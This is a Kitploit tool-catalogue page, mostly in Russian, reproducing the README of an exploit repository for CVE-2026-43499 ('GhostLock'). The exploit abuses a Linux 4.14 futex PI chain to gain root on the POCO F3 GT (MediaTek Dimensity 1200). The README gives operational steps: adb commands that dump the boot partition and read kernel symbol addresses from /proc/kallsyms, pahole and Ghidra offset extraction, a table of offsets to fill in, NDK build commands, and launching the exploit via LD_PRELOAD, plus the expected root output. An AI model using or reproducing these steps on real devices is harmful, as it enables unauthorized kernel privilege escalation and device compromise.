Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
ghostlock-aresin — GhostLock (CVE-2026-43499) эксплойт для POCO F3 GT (aresin) — MediaTek Dimensity 1200, повышение привилегий ядра Linux 4.14.186 ARM64 через манипуляцию цепочкой futex PI | Kitploit
Инструменты/GitHubGitHub/nothingfumo/ghostlock-aresin
Безопасность AndroidПовышение привилегийАнализ уязвимостейЭксплуатацияОбратная инженерияМобильная безопасностьЭксплуатация Бинарных Файлов
GitHubnothingfumo/ghostlock-aresin

ghostlock-aresin

GhostLock (CVE-2026-43499) эксплойт для POCO F3 GT (aresin) — MediaTek Dimensity 1200, повышение привилегий ядра Linux 4.14.186 ARM64 через манипуляцию цепочкой futex PI

Репозиторий
424 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

GhostLock (CVE-2026-43499) — POCO F3 GT (aresin)

Эксплойт перезаписи physmap только данными для MediaTek Dimensity 1200 (MT6893). Ядро: 4.14.186-android13 / MIUI V14.0.4.0.TKJCNXM.

⚠️ Предварительные требования

  • Устройство: POCO F3 GT / Redmi K40 Gaming Edition (кодовое имя: aresin)
  • Чип: MediaTek Dimensity 1200 (MT6893)
  • Система: Android 13 / MIUI 14 (V14.0.4.0.TKJCNXM)
  • Ядро: 4.14.186-g0dc1d312efb3
  • Разблокировка BL не требуется — достаточно shell-прав через Shizuku (беспроводная отладка) для запуска
  • Требуется Shizuku или adb shell для выполнения arm64-бинарника
  • После запуска устройство перезагрузится (kernel panic — ожидаемое поведение). Если нужно сохранить логи, заранее подключите adb logcat

✅ Проверка условий уязвимости

УсловиеСтатусОписание
Версия ядра✅4.14.186 находится в диапазоне 2.6.39 ~ 7.0.4
CONFIG_FUTEX_PI✅Включён (y)
CONFIG_RT_MUTEXES✅Включён (y)
Архитектура✅aarch64
CONFIG_PREEMPT✅Включён (y)
CONFIG_RANDOMIZE_KSTACK❓Требуется проверка (4.14 может не поддерживать)

🔧 Шаги адаптации

Шаг 1: Извлечение адресов символов ядра

root@kitploit:~
# 在设备上运行提取脚本
adb push tools/extract_offsets.sh /data/local/tmp/
adb shell sh /data/local/tmp/extract_offsets.sh
adb pull /data/local/tmp/ghostlock_offsets.txt

Если есть root (Magisk), можно извлечь напрямую из /proc/kallsyms:

root@kitploit:~
adb shell su -c "cat /proc/kallsyms | grep -E 'init_task|init_cred|entry_task|__per_cpu_offset|root_task_group|selinux_enforcing'"

Шаг 2: Извлечение vmlinux и анализ смещений структур

Метод A: Извлечение vmlinux из boot.img

root@kitploit:~
# 1. 获取 boot.img
adb shell "ls /dev/block/by-name/boot"
adb shell "dd if=/dev/block/by-name/boot of=/data/local/tmp/boot.img"
adb pull /data/local/tmp/boot.img

# 2. 用 magiskboot 解包
magiskboot unpack boot.img
# 产物: kernel (压缩的 vmlinux)

# 3. 解压 vmlinux
magiskboot decompress kernel vmlinux.elf

# 4. 用 pahole 提取结构体偏移
pahole --structs=rt_mutex_waiter vmlinux.elf
pahole --structs=task_struct vmlinux.elf | grep -A2 -E "usage|prio|normal_prio|pi_lock|pi_waiters|pi_top_task|pi_blocked_on|cred|real_cred|task_group"

Метод B: Анализ с помощью Ghidra

  1. Откройте vmlinux.elf в Ghidra
  2. Найдите структуры rt_mutex_waiter и task_struct
  3. Запишите смещения всех полей

Шаг 3: Заполнение target.h

Заполните извлечённые смещения во всех позициях 0xTODO в target.h.

Таблица соответствия ключевых смещений:

Шаг 4: Сборка

root@kitploit:~
# 需要 Android NDK r27+
export NDK_ROOT=/path/to/android-ndk-r27
# 或使用 Android Studio 中的 NDK
export NDK_ROOT=$HOME/Library/Android/sdk/ndk/27.0.12077973

# 编译
make preload TARGET_HEADER=target.h

# 产物: build/bin/preload.so

Шаг 5: Тестирование

root@kitploit:~
# 推送到设备
adb push build/bin/preload.so /data/local/tmp/
adb push build/bin/ghostlock_aresin /data/local/tmp/ 2>/dev/null || true

# 运行
adb shell LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin

# 或用 Shizuku
# 在 Shizuku 中执行: LD_PRELOAD=/data/local/tmp/preload.so /data/local/tmp/ghostlock_aresin

📊 Ожидаемое поведение

⚠️ Важные замечания

Отличия ядер 4.14.x vs 6.1.x

  1. Структура rt_mutex_waiter отличается:

    • В 4.14.x используется plist_node вместо rb_node
    • Смещения полей полностью отличаются
    • Поля deadline / ww_ctx могут отсутствовать
  2. Компоновка task_struct отличается:

    • Смещения pi_blocked_on, pi_lock и других полей в 4.14.x отличаются от 6.1.x
    • Поля, связанные с uclamp, могут отсутствовать в 4.14.x
  3. Реализация KASLR отличается:

    • Способ рандомизации KASLR в 4.14.x отличается от 6.1.x
    • Метод утечки может потребовать корректировки
  4. Отличия в безопасности Android 13 vs 14:

    • Политика SELinux может отличаться
    • Ограничения доступа к /proc/self/pagemap могут отличаться

Проверка смещений

После заполнения смещений рекомендуется перекрёстная проверка в Ghidra:

  1. Откройте vmlinux.elf в Ghidra
  2. Перейдите к структуре rt_mutex_waiter
  3. Убедитесь, что смещения каждого поля совпадают с target.h

📁 Структура файлов

root@kitploit:~
ghostlock-aresin/
├── README.md              # 本文件
├── Makefile               # 编译脚本
├── target.h               # 目标设备偏移定义 (需要填写)
├── src/                   # 源码
│   ├── main.c             # 主利用逻辑
│   ├── util.c             # 工具函数
│   ├── slide.c            # KASLR 泄漏
│   ├── fops.c             # 文件操作
│   ├── pipe.c             # pipe 相关
│   ├── preload.c          # LD_PRELOAD 入口
│   ├── su_daemon.c        # su 守护进程
│   ├── su_blob.S          # su 二进制嵌入
│   ├── standalone.c       # 独立运行
│   ├── common.h           # 公共定义
│   └── offset.h           # 偏移计算
├── tools/
│   └── extract_offsets.sh # 偏移提取脚本
└── build/
    ├── bin/               # 编译产物
    └── embed/             # 嵌入文件

📜 Лицензия

Только для исследовательских и образовательных целей. Используйте на свой страх и риск.

Original PoC: NebuSec/CyberMeowfia → IonStack/CVE-2026-43499/exploit/ Adapted for: POCO F3 GT (aresin) by ghostlock-aresin

Скачать инструмент
ПолеОписаниеСпособ извлечения
INIT_TASKАдрес init_task/proc/kallsyms или Ghidra
INIT_CREDАдрес init_cred/proc/kallsyms или Ghidra
WAITER_*_OFFСмещения полей rt_mutex_waiterpahole / Ghidra
FAKE_TASK_*_OFFСмещения полей task_structpahole / Ghidra
TASK_CRED_OFFСмещение указателя credpahole / Ghidra
ЭтапВыводОписание
Инициализация[*] GhostLock - aresin (MT6893 D1200) 4.14.186Устройство распознано корректно
Привязка к CPU[+] CPU0 pinnedПривязка к CPU0
Загрузка адресов[*] init_task @ 0xffffffc00xxxxxxxФиксированный адрес LM
Проверка прав[+] uid: xxxxxВывод текущего uid
KASLR slide[+] slide = 0 или slide = xxxОпределение KASLR
Срабатывание повышения правПри успехе uid становится 0Получен root
Сбой[-] ... + перезагрузкаKernel panic (уязвимость есть, но смещения нужно скорректировать)